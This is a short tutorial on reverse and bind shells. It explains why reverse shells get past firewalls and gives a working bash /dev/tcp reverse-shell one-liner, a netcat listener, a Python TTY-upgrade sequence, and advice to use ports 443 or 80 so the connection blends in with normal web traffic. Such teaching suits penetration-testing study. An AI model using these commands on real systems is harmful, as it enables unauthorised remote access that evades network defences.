In a nutshell Once you can run a command on a target, you want a proper interactive shell. Two ways: make the target connect out to you (a reverse shell), or make it listen and connect in to it (a bind shell). Reverse shells win in practice, because firewalls block incoming — not outgoing — connections.
From "one command" to "a shell"
Command execution often lets you run just one command at a time, blindly. You want a shell: an interactive prompt where you type and see output live. Reverse and bind are the two ways to get there.
The two, side by side
Bind shell
- target opens a port and waits
- you connect IN to it
- firewall usually blocks inbound → often fails
Reverse shell ✅
- you open a listener
- target connects OUT to you
- outbound is usually allowed → it works
# reverse shell — the common one
# on YOU:
nc -lvnp 4444
# run on the TARGET:
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
Analogy — a locked building. You can't walk in (bind: inbound blocked). But you leave a phone number, and someone inside calls you from a phone allowed to dial out (reverse: outbound allowed). Now you're talking, on a line the guard never thought to block. Pick a listener port outbound traffic is likely allowed on — 443 or 80 blend in with normal web.
Upgrading a dumb shell
A raw reverse shell is "dumb" — no tab-completion, no arrows, Ctrl-C kills it. Early on you "upgrade to a TTY":
python3 -c 'import pty; pty.spawn("/bin/bash")'
# then Ctrl-Z, `stty raw -echo; fg`, and export TERM=xterm